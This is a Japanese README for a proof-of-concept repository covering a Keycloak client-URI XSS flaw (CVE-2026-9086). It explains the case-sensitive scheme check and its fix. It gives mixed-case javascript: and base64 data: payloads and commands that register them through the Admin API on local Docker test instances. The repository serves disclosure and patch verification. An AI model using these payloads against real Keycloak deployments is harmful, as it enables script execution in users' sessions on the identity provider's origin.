
このリポジトリは、Keycloak のクライアントURI検証に存在する Cross-Site Scripting (XSS) 脆弱性 CVE-2026-9086 の Proof of Concept (PoC) です。
脆弱なKeycloakは、クライアントに設定されるURIの javascript: および
data: スキームを大文字・小文字を区別して検証していました。そのため、
jaVaSCript: や DaTa: のような混在表記を使うと禁止スキームの検証を
回避できます。ブラウザーはURIスキームを大文字・小文字を区別せず解釈する
ため、細工されたリンクを被害者がクリックすると、Keycloakオリジンで
JavaScriptが実行される可能性があります。
このPoCは、Keycloak 26.6.3(脆弱版)と26.6.4(修正版)をDockerで起動し、 同じ混在表記URIをAdmin REST APIから登録します。脆弱版では登録が成功し、 修正版ではHTTP 400で拒否されることを確認します。
このPoCは登録したURIをブラウザーで開かず、JavaScriptを実行しません。
このプロジェクトは、教育目的および許可されたセキュリティ検証のみを目的と しています。第三者のKeycloak環境に対する無断検証には使用しないでください。 本ツールの誤用、損害、違法行為について、作者は一切の責任を負いません。
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client 権限、またはクライアント登録エンドポイントへのアクセス修正前の DefaultClientValidationProvider は、禁止スキームを
String.equals() で比較していました。
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
java.net.URI#getScheme() は入力の大文字・小文字を保持するため、次のURIは
比較に一致せず、検証を通過します。
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
修正版では equalsIgnoreCase() が使われます。
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Docker Composeで脆弱版と修正版を起動します。
docker compose up -d
起動対象:
| URL | バージョン | 想定結果 |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | URI登録成功(脆弱) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400(修正済み) |
初回起動には少し時間がかかります。次のコマンドで状態を確認できます。
docker compose logs -f
両方のログに Listening on が表示されたら、Ctrl+C でログ表示を終了します。
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
期待される出力:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
スクリプトは作成されたクライアントをAdmin APIから再取得し、細工されたURIが 保存されたことも確認します。
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
期待される出力:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data: スキームの検証--scheme data を指定すると、混在表記の DaTa: URIを検証できます。
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
exploit.py は次の処理だけを行います。
admin-cli を使って管理者アクセストークンを取得するjaVaSCript: または DaTa: URIを redirectUris に設定する/admin/realms/master/clients へクライアント作成リクエストを送信するブラウザーの起動、登録URIへの遷移、JavaScriptの実行は行いません。
Keycloak 26.6系は 26.6.4以降、Red Hat build of Keycloak 26.4系は 26.4.13以降へ更新してください。
併せて、既存クライアントのURI設定を監査し、大文字・小文字を問わず
javascript: または data: を使用する値を削除してください。
manage-client 権限とクライアント登録エンドポイントへのアクセスも必要最小限に
制限してください。